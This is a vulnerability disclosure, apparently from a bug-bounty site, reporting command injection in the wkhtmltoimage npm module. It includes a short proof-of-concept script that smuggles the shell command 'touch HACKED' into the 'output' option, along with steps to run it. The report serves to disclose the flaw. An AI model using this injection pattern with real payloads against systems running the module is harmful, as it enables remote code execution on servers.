Code Injection in timstudd/node-wkhtmltoimage
Valid
Reported on
May 2nd 2020
Description
The wkhtmltoimage
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
POC
- Create the following PoC file:
// poc.js
var wkhtmltoimage = require('wkhtmltoimage');
wkhtmltoimage.generate("test", {output:"test; touch HACKED; #"}, function(){});
- Check there aren't files called
HACKED
- Execute the following commands in another terminal:
npm i wkhtmltoimage # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKED
has been created
Occurrences
to join this conversation